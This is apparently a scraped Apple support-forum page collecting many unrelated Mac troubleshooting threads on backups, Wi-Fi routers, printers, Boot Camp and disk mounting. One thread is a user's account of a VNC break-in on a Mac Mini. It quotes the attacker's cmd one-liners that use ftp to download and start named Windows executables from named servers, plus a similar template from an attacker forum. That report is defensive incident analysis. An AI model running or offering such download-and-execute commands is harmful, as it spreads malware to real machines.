MBP or MacMini?

Hey! I recently had my MBP stolen (big bummer, I know!)
I am debating on what to buy as a replacement. I work primarily with Film and Photography and will be entering my last year of university and tend to travel a lot.
I am wondering if I should purchase a new MBP or a MacMini?
Just a few questions about the Mac Mini (as I don't know much about it!),
Is it a complete pain in the *** to travel with? I read it would be best to buy a wireless keyboard and trackpad. I already have a monitor, but will a Mac Mini work if attached to a Windows PC? Also, in terms of moving it between monitors, is there a lot of wires etc. that I would need to hook up each time? Also, I read the Mac Mini doesn't sleep, what are the pro's and con's of this?
Price is a big factor for me, considering the MBP is quite pricey. But with a Mac Mini, keyboard and trackpad, would there be much of a price difference?
Any help is much appreciated!

If traveling alot, then get the MBP or MBA. They are designed for more rugged, portable, use than a mini. If by traveling alot you mean you go to school, go home on vacations, then back to school, I guess you could use a mini. Personally, traveling with a mini, keyboard and mouse would be slighlty annoying, but it certainly can work. If I were going to opt for that solution, I might go for an SSD instead of a traditional hard drive, to minimize exposure to jostling around, which of course raises the price more.
Monitors have one wire that plugs into the mini, however, if the monitor requires a DVI or VGA port, you'll need to buy a separate adapter from Apple.
On price, make sure you're looking at the Apple educational discounts you are eligible for.

Similar Messages

Create shared library on external drive from scratch

I have seen many posts about creating shared iTunes libraries on external drives with many different configurations, but mostly with pre-existing libraries. My question is creating the library from scratch. The purpose is obviously to share songs among several computers AND only have one copy of a song as to not take up unnecessary disk space on several computers.
All of our songs are on an external USB hard-drive attached to Airport Xtreme. Every song is in album folder, and every album folder is in an artist folder (very organized). All the artist folders (with their album and then song contents) are in a root folder called "Songs" on the external hard-drive.
We have upgraded our three Macs (iMac, MBP and MacMini) to Leopard and deleted all iTunes folders on each local hard drive (there was nothing in them anyway). We now want to create ONE iTunes folder on the hard drive so that each computer can access it. What are the steps? Here is what I "think" I've learned here on the postings with my questions:
1) First I opened iTunes on my first, main computer (iMac) and went into "Preferences" to change the iTunes music folder to [Ext HD]:iTunes:iTunes Music. The option, "Copy to music folder..." is deselected. (This will also be done on the other computers).
2) Now what to do? I could just move all of my song artist folders with their album subfolders and music files inside them, into the "iTunes Music" folder. But then what do I click to get iTunes to see all the songs and put them in its database? The other option is click "Add to Library" - but then don't I have to select all the individual songs? (I actually tried the latter method and it kept crashing). Can I just move all the folders into [Ext HD}:iTunes:iTunes Music folder and click something to get it to create its database based on all the music files that are now in its subfolders?
3) Next step. I have seen many people write that they then create an "Alias" and put the Alias in their "Music" folder on their LOCAL, computer's hard drive. Could someone now explicitly, step-by-step, describe how this is done? I assume I go to the external hard drive. Am I creating an alias of the entire "iTunes" folder, or of the "iTunes Music" subfolder, or of the library file??? Please answer this specifically.
So now I have "XXX alias" that I copy to my local, computer's hard drive and put it on my desktop. I take out the "....alias" word, and drag it to my local "Music" folder. It asks me to replace the existing folder/file, and I say yes. Correct? And then I do this on all three computers, correct?
4) Finally, after I've done all of this, I still have the following functionality questions -
4a) When we now add to the library, either from a CD or online purchase, ONE copy of the music should go in the "iTunes Music" folder on the external drive, correct?
4b) This system means that all three computers MUST have the same iTunes library, playlists, etc, correct? The downside of this system is that you cannot personalize libraries for each computer and just share the actual music files, correct? (If so, is there another process [steps 1-4 above] that results in a more customizable system where *ONLY ONE COPY* of the actual song file is shared?)
Sorry for the length of the message, and the questions. Truly I have read all the postings but was unable to map out my plan before I go and creating, finally, this one set of music that we can share. In advance, thank you all for your help.

I was afraid you'd say that, because I'm a long time Mac guy and I don't have the perfect answer. Have you ever messed with remote desktop? That'd seem to give her full access and control, something I personally wouldn't do, although it may work for you.
Another thought came to me that might work: copy over the complete library to her machine, and then when you do another major shoot, create a new catalog, edit, etc.and then import as catalog to you main one while sending her the new one.
I am sure there are more elegant solutions, but these are a couple of ways.

Don't have 2560x1440 resolution on Dell U2711

Hi,
I've recived the mac today and I have a monitor DELL U2711. The monitor is connected with an HDMI cable.
This is what I can set now.
Someone know what I can do to get 2560x1440 resolution?
Thanks
Ivan

you could try to option+click on "scale" to find out more options.
but i fear that won't solve the problem, at least this is my experience as I am in the same situation
It seems to be a problem of Mavericks. (Lion worked perfectly with the maximum resolution
Both my MBP and MacMini can't get 2560x1440 on the U2711. And yes @turbostar - with mini DP to DP.
All those work-arounds (reset PRAM, overwrite the overrides ...) don't help. So very, very VERY frustrating.
So if any ouf you finds the solution. please post here.
regards, david

4 libraries on 1 iMac HDD fallin' apart

Hi There!
I have an iMac 2.1 Ghz PowerPc G5 with 2.5GB in RAM and running OS X 10.4.11
I've created (since I bought it) 2 users (for my wife and myself) and we have Aperture and iPhoto libraries for each user.
What would be the best way to consolidate them and back them up on an external hard-disk?
My iMac is getting slower by the day and I'm affraid the internal HDD might die and live us without pics.
Ideally, I would like to end up with one Aperture Library and one iPhoto library, living on an external hard disk and from there, access it using either our iMac (emptied from a lot of files) and our MacBook Pro.
Any suggestions? Any similar experiences?
Thanks in advance for your help.
Sincerely,
Gilberto.

Hi Gilberto
I think your priority is to get your data, or copies of it off your iMac
First the Hardware
Last week I purchased through Amazon two 2TB WD Green SATA HDD's ~£60 each and a couple of Lacie USB Empty cases £16 each (the black one by Neil Poulton)
You can easily remove and replace HDD's into these cases with care and they are held in place with four screws.
I am assuming you only have a 250 GB drive on your iMac and similar on your MBP so 1TB drives would be adequate but they are not much cheaper
The software I would recommend is SuperDuper from Shirt Pocket its free
http://www.shirt-pocket.com/SuperDuper/SuperDuperDescription.html
You can use it to make a Clone of your system drive and for a small fee you can get the version that also allows you to schedule backups their documentation is enlightening.
I would partition one of the Drives to give two partitions a 250GB partition and the second what's left, its easy to do and they will appear as two HDD on your screen.
(As you have a MBP it might be as well to get another HDD and just make it two partitions and place a clone of your imac in one and your MBP in the other this is what I have done with my MBP and MacMini )
When you plug the new drive in you will get a warning message just select initialise and it will launch the Disc Utility.
If not go to Applications / Utilities /Disc Utility.app and creat the Partitions (Virtual Drives)
Then use SuperDuper to create a bootable Clone of your system drive onto the 250GB partition and name it say iMacClone.
Next use Aperture to write a Vault and iPhoto however it stores its library to the large partition on the external HDD.
In your situation I would consider having my Aperture working library on your second external Hard Drive and a copy of the iPhoto library (I use superficaly but am not familiar with how iPhoto backs up)
If you find the USB drive is too slow for your working Aperture Library then you could consider using a Fire wire drive which is as fast as you're going to get without possibly using eSATA on your MBP both expensive options.
Then disconnect your first external drive i.e. the one with the clone on keep that in a safe place
My way of working is
1. Make a bootable Clone of machines system drive so you can reinstate your internal HDD data if it becomes corrupt or run off the external if it needs to be replaced. or even use a borrowed machine of similar spec
2. Make copies (BackUp and or Vaults) of your Data files preferably two
2b. Keep one in a different location
3. Have a routine to update so you always have current back up copies
You don't need to buy two USB cases but I would suggest you buy at least two HDD's
If you use bare drives take care with them, I store them inside the antistatic bag with silica gel sachet they came in, inside old VHS cases (plastic ones) a little padding will be required.
Hope this helps
Phil
Message was edited by: digitalparish

Unusual setup experience on AEBS 802.11N

I got my new AEBS 802.11N only 3 days ago, this was intended to upgrade my old AEBS 802.11b/g device. I installed the new Airport Utility software on my MacBook Pro, it went through the usual setup steps.
My MBP saw the old AEBS when Airport Utility was open for first time, I saved the config file of the old AEBS onto my MBP, shut it down and then started up the new AEBS 802.11N.
Since new AEBS device was at factory default, I imported the old AEBS config file into new AEBS, noticed that it would automatically set the Wireless security to None. The old config file definitely had the security settings on WPA/WPA2 Personal.
After applying the config to new AEBS noticed that it will not even advertise the SSID which I had set and yellow light was lit steady, probably meaning - no security enabled.
My MBP's Airport will not see the new AEBS' SSID no matter what I tried WEP, WPA, WPA2, even tried joining it manually with no security. Occasionally when security was set to None, the SSID would appear on my MBP momentarily then when I try to join it, it would say "Error Joining network".
I do have Airport Extreme Update 2007-001 installed too, even a reboot of my MBP did not help. I even reset the new AEBS to factory default and started fresh, it still did not work, it simply will not advertise it's SSID even when setting for Closed Network was left unticked in the Wireless Options pane and network mode was in Create a Wireless Network??
However I was able to get to the Internet when using the Ethernet ports on new AEBS which was connected to a DSL Modem but not on Wireless because the SSID is not advertised??
Next I fired up my MacMini which I had been using as a Media Center, it came on and saw the new AEBS SSID and joined it just fine at 54Mbps 802.11g (MacMini has no N) by this time I had the new AEBS set to WPA/WPA2 Personal security. ??
So I went in and tinkered further with the new 802.11n AEBS, I decided ah well lets create a WDS network pairing with my old AEBS, I set the new AEBS to WDS Main and old AEBS as WDS relay.
The new AEBS decided to announce Network Status as Error WDS, I went in and set the correct MAC addresses for the peer-to-peer WDS and then suddenly at this point the new AEBS refused to restart?? I really thought ah well it's time to call Apple?? Then I decided to unplug power source wait 60 seconds and started up the new AEBS again, it still reported Error WDS probably because old AEBS was also off by then.
I decided to go back to "Create a network" and suddenly voila the new AEBS started to work, the SSID was appearing on my MBP's Airport pane and I could join it. My MacMini was at this point happily chugging along on Wireless Internet as well. However my X-Box360 wireless will not join even when I selected WPA, it worked fine on my old AEBS in WPA Personal security mode.
There is something not right with the new AEBS 802.11N that I got, could it be a firmware issue? I have version 7.0 on mine. Just out of curiousity, I restarted my old AEBS and it works fine on 802.11b/g with all my devices including the XBox360.
My MBP reports it's only running at 144Mbps on the new 802.11n AEBS, is this right? I thought N could go higher or could it be because I have radio mode set at 802.11n (802.11B & G compatible) ??
Anyway thought it was worth reporting this.

I discovered something new with these AEBS 802.11N (firmware ver 7.0) devices last night.
It seems when I set it on Create Wireless network, 802.11n (b/g compatible) with WPA/WPA2 security and Channel selection set to Automatic (13), the unit will not advertise it's SSID even when Closed Network is deselected?
My MBP C2D and PB 15in will not pick up the SSID at all.
Howver when I switch the Channel selection from Automatic or anything other than channel 13, the SSID is picked-up by the MBP and PB and able to join the network perfectly ??
Has anyone out there discovered this issue with the new AEBS 802.11n? Does anyone have fix for it yet?
However my MacMini C2D seem to chug along just fine in any setting i select on the AEBS?
XBox360 only works in No security settings.
MBP C2D, MacMini C2D, PB Alu 15in. Mac OS X (10.4.8)

Airport Extreme and Canon Pixima MP830

Hi, I connected a Pixima MP830 to my Airport Extreme. I have a MBP and MacMini and they both print wirelessly without a problem. However, I have tried every trick in the book it would seem in trying to make the printer work wirelessly via Windows.
- Install Bonjour for Windows and did the install through it
- Changed the port from 9100 to 9101
- Updated the firmware
- stopped and started the printer, Airport, etc. etc.
No luck. It just report 'This document failed to print'
Any one running a Canon MP830 with Airport Extreme?
Thanks
AJ

I am sorry, but that is nonsense. The MP830 is networkable.
Google this: MP830 Silex and see what comes up for the Canon eStore.
Besides, I just made a printout of this very page using the MP830 hooked up to my Airport Express, which is connected to my wireless network on Linksys WRT54GL router (w/ WAP2 Personal encryption).
This is on a PC running Windows XP. I haven't tried it with Leopard yet but I cannot think of a reason why this would not work on a Mac. Note that the printing functionality is supported via the Airport Express Base Station (firmware 6.3, Airport Utility 5.2.1), but that the scanning functionality does not work. Faxing IS supported, wireless scanning is the only one feature that does not work. The scanner driver is not able to connect to the printer wirelessly.
This kind of defeats the purpose of making this MP830 the default network printer. Apple's sooo close; it's frustrating that scanning is the one feature not supported by the Airport Express Base Station. The Airport Express Base Station makes the product on offer in the Canon eStore pale by comparison - note the price! Come on Apple, help us fully network our Canon MP830's!
Message was edited by: ßmac

IMessage not working on one machine

Dear Mac-using community,
I consider myself as having a decent knowledge of Mac products and their workings, but this has got me completely stuck. I have two mac machines (MBP and MacMini), an iPhone and an iPad. iMessage was working fine on all devices up to a couple of weeks ago. On the MacMini, all of a sudden iMessage stopped receiving and sending messages, and displaying the recipient's name in red, instead of the usual blue (clicking on the name, it says the user isn't registered with iMessage, and it says that for all users). It still works fine on all of the other three devices.
I have tried everything that I've found on the forums - resetting the iCloud password, the keychain, the pram, deleting various files from the user library folder. Logging out on other devices, even a clean installation of 10.9.3 (which is also on the other, working machine). There is no firewall, and another exact same model MacMini that my colleague uses over the same connection works absolutely fine!
It seems that the problem is almost tied in directly to my specific machine - is this possible? Any advice would be most appreciated, as I've already spent far too long trying to fix this.
Thanks! Tom

Please read this whole message before doing anything.
This procedure is a test, not a solution. Don’t be disappointed when you find that nothing has changed after you complete it.
Step 1
The purpose of this step is to determine whether the problem is localized to your user account.
Enable guest logins* and log in as Guest. Don't use the Safari-only “Guest User” login created by “Find My Mac.”
While logged in as Guest, you won’t have access to any of your documents or settings. Applications will behave as if you were running them for the first time. Don’t be alarmed by this behavior; it’s normal. If you need any passwords or other personal data in order to complete the test, memorize, print, or write them down before you begin.
Test while logged in as Guest. Same problem?
After testing, log out of the guest account and, in your own account, disable it if you wish. Any files you created in the guest account will be deleted automatically when you log out of it.
*Note: If you’ve activated “Find My Mac” or FileVault, then you can’t enable the Guest account. The “Guest User” login created by “Find My Mac” is not the same. Create a new account in which to test, and delete it, including its home folder, after testing.
Step 2
The purpose of this step is to determine whether the problem is caused by third-party system modifications that load automatically at startup or login, by a peripheral device, by a font conflict, or by corruption of the file system or of certain system caches.
Please take this step regardless of the results of Step 1.
Disconnect all wired peripherals except those needed for the test, and remove all aftermarket expansion cards, if applicable. Start up in safe mode and log in to the account with the problem. You must hold down the shift key twice: once when you turn on the computer, and again when you log in.
Note: If FileVault is enabled, or if a firmware password is set, or if the startup volume is a Fusion Drive or a software RAID, you can’t do this. Ask for further instructions.
Safe mode is much slower to start up and run than normal, with limited graphics performance, and some things won’t work at all, including sound output and Wi-Fi on certain models. The next normal startup may also be somewhat slow.
The login screen appears even if you usually log in automatically. You must know your login password in order to log in. If you’ve forgotten the password, you will need to reset it before you begin.
Test while in safe mode. Same problem?
After testing, restart as usual (not in safe mode) and verify that you still have the problem. Post the results of Steps 1 and 2.

Upgraded to 10.4.9 on MBP 15", now, I can't mount external hard disk!

Hi all,
I have a LaCie 500GB drive that I've been using perfectly since I've gotten it, but alas, I upgraded to 10.4.9 and it no longer mounts either by it's USB interface or by its Firewire interface.
My machine is a MBP 15" (2.16 GHz, 2 GB Ram), which works perfectly in all other respects and is now running 10.4.9.
The symptoms are that when I plug it in, I usually get the message, "The disk you inserted was not readable by this computer" with the options "Initialize...", "Ignore", and "Eject". So far, I haven't pressed any buttons except Ignore or Eject. Sometimes, I do not get this message, but it still doesn't mount, it just silently does nothing.
So, after pressing "Ignore", I've opened Disk Utility and had a look. The physical drive appears and there is one volume named "disk2s6" which for all purposes is probably my normal, logical volume (partition). However, last time it mounted on this machine, it was named "Archive". This logical volume is grey and will not mount no matter how many times I press the "Mount" button. It just does nothing.
OK, so, while I'm in Disk Utility, I ran Verify Disk and, after the normal routine, it comes back with "No Repairs Necessary". I've also tried "Repair Disk" and this comes back "No repairs were necessary", again after the full, normal processing of the various things.
I also performed a Fix Permissions on my startup-volume, but this didn't help either.
Next test was to mount the disk on my MacMini (PPC) instead, also running 10.4.9. It mounts perfectly and it properly comes up with the name "Archive" as expected.
I've then tried to mount other devices on my MBP including a USB memory key, and another external Firewire drive. These both mount perfectly on my MBP.
While I was at this, I've also tried new USB and Firewire cables, this didn't affect my results in the least.
I've finally verified that there is nothing in /Volumes out of the ordinary that might prevent it from mounting by doing a "sudo ls -la" whilst in /Volumes/. There's not a thing that would affect the mount-point.
I then disabled my folder actions that I've been running on the directory /Volumes *I had an action used to backup my USB key). Unfortunately, I still have the same issue.
Finally, I downloaded the Combo 10.4.9 installer, booted into Safe Mode (to trigger an automatic fsck), then rebooted and installed the 10.4.9 Combo installer, in case there was some weirdness in the Software Update upgrade to 10.4.9.
What stone have I left unturned? Why won't this drive mount, but it works perfectly elsewhere? I want to get back to using Aperture on my MBP and my entire photo Library is on this disk (well, and backed up on another external drive, but it lives normally on my MBP).
MBP 15" 2.16GHz + LaCie 500GB Ext Firewire drive Mac OS X (10.4)
Mac OS X (10.4)

Here's some additional info...
When executing a manual mount: I get this:
sudo mount -v /dev/disk1s6 /Volumes/Archive
/dev/disk1s6 on /Volumes/Archive: Incorrect super block.
During a normal plug-in-the-disk-and-expect-it-to-mount-automatically, this is what diskarbitrationd reports:
22:45:40 iokit [0] -> diskarbitrationd [41]
22:45:40 created disk, id = /dev/disk1.
22:45:40 created disk, id = /dev/disk1s3.
22:45:40 created disk, id = /dev/disk1s4.
22:45:40 created disk, id = /dev/disk1s6.
22:45:40 created disk, id = /dev/disk1s2.
22:45:40 created disk, id = /dev/disk1s1.
22:45:40
22:45:40 diskarbitrationd [41] -> diskarbitrationd [41]
22:45:40 probed disk, id = /dev/disk1s6, with hfs, ongoing.
22:45:40
22:45:40 diskarbitrationd [41] -> SystemUIServer [289]:13363
22:45:40 dispatched callback, id = 914042DE:00000000, kind = disk peek, disk = /dev/disk1s1.
22:45:40 dispatched callback, id = 914042DE:00000000, kind = disk peek, disk = /dev/disk1s2.
22:45:40 dispatched callback queue.
22:45:40
22:45:40 SystemUIServer [289]:13363 -> diskarbitrationd [41]
22:45:40 dispatched response, id = 914042DE:00000000, kind = disk peek, disk = /dev/disk1s1.
22:45:40 dispatched response, id = 914042DE:00000000, kind = disk peek, disk = /dev/disk1s2.
22:45:40
22:45:40 diskarbitrationd [41] -> diskarbitrationd [41]
22:45:40 probed disk, id = /dev/disk1s6, with hfs, failure.
22:45:40 probed disk, id = /dev/disk1s6, no match.
22:45:40
22:45:40 diskarbitrationd [41] -> SystemUIServer [289]:13363
22:45:40 dispatched callback, id = 914042DE:00000000, kind = disk peek, disk = /dev/disk1s6.
22:45:40 dispatched callback queue.
22:45:40 dispatched callback, id = 914042DE:00000000, kind = disk peek, disk = /dev/disk1s4.
22:45:40 dispatched callback, id = 914042DE:00000000, kind = disk peek, disk = /dev/disk1s3.
22:45:40 dispatched callback, id = 914042DE:00000000, kind = disk peek, disk = /dev/disk1.
22:45:40
22:45:40 SystemUIServer [289]:13363 -> diskarbitrationd [41]
22:45:40 dispatched response, id = 914042DE:00000000, kind = disk peek, disk = /dev/disk1s6.
22:45:40
Mac OS X (10.4)
Mac OS X (10.4)

MacMini running my TV has been compromised, tried to download winbackup.exe

I have a MacMini running Elgatos EyeTV software as my permanent HD TV setup. It's permanently hooked up to the internet and is always on. I have a Universal remote for controlling EyeTV, FrontRow and the rest of my Home Theater system. Until today I thought this may have been a problem with the remote.
Over the past few weeks it has been behaving erratically every now and then. The 'remote' dialog would appear on screen and it would change between channels. The video would keep switching between pause and play repeatedly. If I'm watching a movie in Front Row, it would do the same, but eventually switch all the way back out to the OS. It did cross my mind that maybe someone was getting into the computer, but I didn't see how this could be happening.
My Mac Mini is hooked up to an ADSL 2 modem, which I have setup with port mappings for port 80 and a non standard ssh port mapped to the Mini. These are the only ports open.
Today it happened again, but this time it was something quite disturbing. I was watching a movie in Front Row and it suddenly switched out back to the OS. My first response is to cover up the infra red ports on my remote, because I had thought maybe the remote was sending invalid signals. But when it got back to the OS, it renamed one of my hard disks. I sat there and watched it as the following text was entered one character at a time:
cmd /c echo open ftp1.killyourself.info 21 .. ik 7echo user mysql database .. ik 7echo binary .. ik 7echo get winbackup16.exe .. ik 7echo bye .. ik 7ftp -n -v -s;ik 7del ik 7winbackup16.exe 7exit
Based on a Google search killyourself.info looks like a bitorrent tracker. But I can actually ftp into ftp1.killyourselfinfo server using 'mysql' and 'database' as the username and password (taken from the text shown above). The ftp server contains the following files, "YouTube.Video.Downloader.2007-GameRevolution", "h.exe", "RLPack1_1__1_.16PersonalVersion.zip", "torrentfix32.exe", "winamp533_pro.exe", "winbackup16.exe", "winsys32.exe", "woo.zip", "wrar361.exe" and "YouTube.Video.Downloader.2007-GameRevolution.rar"
A search on winbackup.exe brings up dozens of spyware and worm references. Which is fine, I don't have windows installed on the mini, but it is on my MacBook Pro in Parallels. If this had have happened on there then I may have had a bigger problem.
So, someone somewhere is connecting into my MacMini and attempting to download and install a windows worm/virus. I think they're getting in via VNC because I've had a VNC Server running on there for the last few weeks to allow me to get in from my laptop.
The fact that it's executing windows commands means that it's probably automated and they must assume it's a windows box, which kind of rules out ssh and applescript based attacks. I've killed the VNC server now, but I don't see how they were able to get in in the first place.
I disabled all of the network ports in System Preferences and the commands stopped being executed. What I'd like to do is be able to look through any logs that may reveal what connections were made to the mini. If I can, I'd like to track down the bad guys.

I have a simpler explanation for the password thing. There isn't one set. Neither was my firewall running. I'm not sure at what point that was disabled, but I'm still not sure how the connection is getting through my ADSL modem (no port mapping for VNC). A quote from the HenWen manual seems appropriate here:
“All that is necessary for evil to triumph is for good men to do nothing...”
— Edmund Burke
And yes, I am in IT Security At least my MBP is locked down.
I couldn't get snort working the way the tutorials and manuals described, so I went with Wireshark (used to be called ethereal).
Any my honey pot was successful. This is now a confirmed VNC exploit.
I had everything turned off. Bluetooth, WiFi, Firewire. All my applications were shutdown with the exception of TextEdit, which was sitting there waiting for remote commands to be entered. VNC Server, which is what I assumed the attacker was exploiting and Wireshark, which was sitting there listening for network packets.
Interestingly, the ftp server is different this time. Here is the complete text of what was entered (non-printable characters aside):
5systemroot5\system32\cmd.exe
cmd /c echo open ftp.heh.pheer.info .. heh 7echo binary .. heh 7echo get heh.exe .. heh 7echo bye .. heh 7ftp -as;heh 7del heh 7start heh.exe 7exit
This was a bit different to last time. It's a different ftp server and files. I can connect to the ftp server, but the username isn't as obvious. I went with 'anonymous' and '[email protected]' and got in. On this FTP server there are only two files, "GOOGLE.exe" and "HEH.exe"
If I try and ping ftp.heh.pheer.info it resolves to mail.cppweb.com, which doesn't respond to a ping at all, but www.cppweb.com seems to be an ISP of some sort in 'Monroe, Wisconsin' (according to the front page). So chances are the attacker is a user of that ISP. It looks a bit dodgy, all of the internal links go to a 404 page.
Wireshark has a series of VNC requests coming in from the IP address 58.20.207.179, which I can't ping and doesn't come up with a name via nslookup. The IP address of both ftp.heh.pheer.info and mail.cppweb.com is: 64.73.102.119
This is a little more interesting; heh.pheer.info goes nowhere in the browser, but pheer.info resolves to www.ryan1918.com, which is apparently the number 1 source of everything. Looking at some of the posts on their front page it looks like they've been attacked a lot over the past few days, although based on some of the links and 'affiliates' it doesn't appear to be a reputable place, at least not at first glance (no offense meant to any members).
It's also pretty clear why they have been hacked so often. I tried searching for VNC in their forums and got an error, which revealed a nicely detailed SQL query showing the structure of their database. But their site can be searched via Google. Here's an interesting forum question under the topic of 'VNC Hacking':
can someone help me with uploading a file and executing after u get root access on a vnc server. ive been using windows ftp but doesnt seem to work on rooted box is there a easier was to do this or am i doing it wrong. Thanks in advance
cmd.exe /c echo open x.x.x.x > i &echo get winreg.exe >> i &echo quit >> i &ftp -As:i &start winreg.exe
http://www.ryan1918.com/viewtopic.php?p=40897&sid=aef6bf23561670b189ebfff1525064 b2
And here's a link someone posted to their 'vnc bot'
http://www.ryan1918.com/viewtopic.php?t=7573&sid=f5843eae2bdd6fdfcc396008e46a13f 9
I was going to submit a complaint to the IC3, but they seem to be focussed on actual monetary loss and fraud.
Can anyone suggest an appropriate way forward. I assume there must be some organisation that this information can be submitted to. Surely these kinds of attacks shouldn't simply be tolerated.

Wanting to Install Windows 7 on my MBP......

I've recently bought a copy of Windows 7 and I wanted to install on my MBP as there are some applications that I use for work that do not work on OSX. I opened the Boot Camp set up assistant and created a 32Gb partition on my 250Gb hard drive called Windows 7. Then as per instructions I inserted the 64bit version of the Windows 7 disk.
This is where I encountered issues. When I tried to install Windows 7 it said that my partition was not in the required NTFS format. Therefore I existed the process and tried to delete the Windows 7 partition that I have created, however it is not letting me do so.
When I now open the Boot Camp assistant, I get an error message stating 'the startup disk must be formatted as a single OS extended (journaled) volume or already partitioned by Boot Camp Assistant for installing Windows'.
Therefore I have the following questions:
1. How can I delete the 32Gb Windows 7 partition that I have created (I have tried via disk utility but to no avail).
2. How can I create a new partition in the required NTFS format for the Windows 7 installation (I do not believe that boot camp gave me this option, and it also only referred to Windows XP and Vista - no mention of Windows 7)
3. Are there any other pitfalls I should be aware of when installing Windows 7
Thanks in advance for all assistance.

Hi MacMiner,
while usually the correct way to remove your Windows partition is to use the BootCamp Assistant again which should give you the option to remove the made Windows partition and revert back to one OSX volume.
After that's done a reboot of your Mac might be advisable. After the reboot use the BootCamp Assistant again to make the Windows partition and then install the (hopefully correct) version of Windows.
Only if that's not working (whatever the reason) :
1) boot your Mac from your OSX install DVD
2) choose your language and then 'ignore' (cancel) the installation
3) from the Top Menu (Utilities) start Disk Utility (DU)
4) in DU click on your harddisk (not any partition) in the left pane (the first item listed)
5) in the right pane use the 'Partition'-Tab
6) click to highlight on the ex-Windows partition you want to delete
7) click on the small '-' Button at the bottom
That should delete your former Windows partition
After that's done successfully
8) Drag the partition separator line until it encompasses the entire drive and then select apply.
9) Quit Disk Utility
10) reboot your Mac from your harddisk.
Since you are 'fumbling' with your OSX partition you should consider having/making a backup of it before trying the a.m. procedure. Just in case.
The BootCamp Installation Guide (to be found here http://www.apple.com/support/bootcamp/ ) pages 8 to 10 shows you when to reformat the WIndows partition to NTFS.
Since OSX can not do this you have to do this during the Windows installation.
IMHO, no more pitfalls to be there...
Regards
Stefan

I downloaded Lion on my MacBookPro and on my MacMini. I have Air Drop on the mini, but not on the laptop. What am I missing?

I downloaded Lion on my MacBook Pro and on my MacMini. AirDrop showed up immediately on the MacMini, but is invisible on my MacBook Pro. What am I missing?

According to this Link
http://www.everymac.com/ultimate-mac-lookup/?search_keywords=MacBookPro3,1
your MBP was Released between June 2007 and February 2008
Air Drop compatible List
http://support.apple.com/kb/HT4783

A New MBP Noise?

I know all about the reported noises from MBPs, but I think that I have found something slightly different. When I connect the MBP to analog speakers via the headphone out port, there is a terrible hissing noise coming from the speakers. I tested the same cables and speakers with a new MacMini and had no problems.
Has anyone seen this problem yet?

Very easy way to test it. Plug in your speakers and open Photobooth. If the noise stops, your MBP is plagued by the famous whine. If not there must be some interferences caused by the MBP internal components, or external sources.
Either way, its annoying. I haven't noticed that running my mbp on a kenwood amp. But this and other issues make a mockery of the PRO suffix of the machine.
Cheers.
WMBP
Macbook Pro Mac OS X (10.4.5) whines

Exporting MiniDV video to MacMini

I have a Sony GV-D1000 MiniDV Video Walkman that must be six plus years old? I haven't used it for two years.
Today I attempted to plug it into my new MacMini running Lion 10.7.3 -- and quickly discovered I did not have the correct Firewire cable.
The MacMini needs this newest mini input IEEE1394b Firewire 800 port Mbps 8 pin.
My Sony GV-D1000 has an output i.LINK DV Interface IEEE1394a 400 Mbps 4 pin
I dashed to the store and bought a cable with those connectors. Rocketfish RF-AP309 from Best Buy. Crud!! The MacMini cannot see the Video Walkman. I tried connecting, re-connecting… turning the Walkman off/on. Restarted the MacMini. Nothing. Tried this with my latest version of iMovie '11 -- and with iMovie HD vers 6.0.3. Neither video softwares can see the Sony GV-D1000.
OK, Plan B:
I pulled out my MacBook Pro 17" early 2008 (purchased new March 2008) running Lion 10.7.3.
The new firewire cable just purchased will not work plugged into the MBP….. Next I grab a 400 Mbits FireWire IEEE 1394a. Plug that into the MPB and the other end into the Walkman. It works! It peforms well with both video softwares.
But… I want to work on the new MacMini. Would I have purchased a defective cable? Or is there something about the MacMini that won't accept the signal from the Sony GV-D1000?
thanks
-Mike in SF

I opted for a FireWire 400 to 800 cable instead of an adapter for my older 400 External HDs, but that 4 to 9 pin adapter should work.
Disconnect any non-esental USB and FireWire devices and reset both the SMC and PRAM.
SMC > Intel-based Macs: Resetting the System Management Controller (SMC)
1. Shut down the computer.
2. Unplug the computer's power cord.
3. Wait fifteen seconds.
4. Attach the computer's power cord.
5. Wait five seconds, then press the power button to turn on the computer.
PRAM and NVRAM > Resetting your Mac's PRAM and NVRAM
1. Shut down the computer.
2. Locate the following keys on the keyboard: Command, Option, P, and R. You will need to hold these keys down simultaneously in step 4.
3. Turn on the computer.
4. Press and hold the Command-Option-P-R keys. You must press this key combination before the gray screen appears.
5. Hold the keys down until the computer restarts and you hear the startup sound for the second time.
6. Release the keys.
Then reconnect the device(s) and check your System Profiler under Hardware / Firewire.

Connect PC Monitor and Mac Display to MBP?

I have a late 2011 MBP with 2.4 i7 processor, 16GB RAM and a AMD Radeon HD 6770M 1024 MB Graphics card that currently has a 2008 Mac 24" LED Cinema Display connected to it.
I also have a 23" Dell monitor sitting around and I was wondering if there is a way to use both screens (plus the laptop screen) at the same time.
Thanks.

The MacMini should be able to connect to it natively using the mini-display port.
The PS3 will need an HDMI to mini-display port adapter. Belkin and Kanex make such adapters.

Can I use my MacMini install disks to reinstall on my iMac?

I'm trying to use Boot Camp so I can create a 60GB partition on my iMac and install Win 7. However, I'm getting the infamous error about not being able to move files. So, it appears my only remedy is to wipe the internal drive on the iMac and reinstall from my Time Machine backup.
Unfortunately, my Snow Leopard install disks (family pack) is at my parent's house. However, I have a new MacMini that has Snow Leopard install disks. Before I go and mess up my iMac, can I use those install disks from the MacMini to reinstall from my TimeMachine backup?
I'm guessing it's either going to fail right away or not. If it doesn't fail, even if the install disks don't have the iMac drivers, the drivers should be in my backup... I think???
While I'm thinking about it too, if I am able to get to a point where I can use Boot Camp to install Win 7, I'll still need SL install disks. Will the MacMini disks work here too? Suppose I should post that under the Boot Camp category too.
Thanks!

I also tried my SL upgrade disk I got for my MBP. When it's loaded while OS X is running on the iMac, it throws and error that it can't work on a machine that does not have 10.5 or higher installed (which is odd because 10.6.2 is installed). However, when I restart with the c key down, the install starts off fine... I didn't let it continue far since I was just experimenting here.
I'm hoping, though, the SL upgrade disk will be sufficient for loading the Boot Camp drivers... trying that next. If not, I think I can get away with the older 10.5 install disk which'll load older drivers, but I'm thinking I can get the latest drivers through Apple SW Update.
Thanks

MBP or MacMini?

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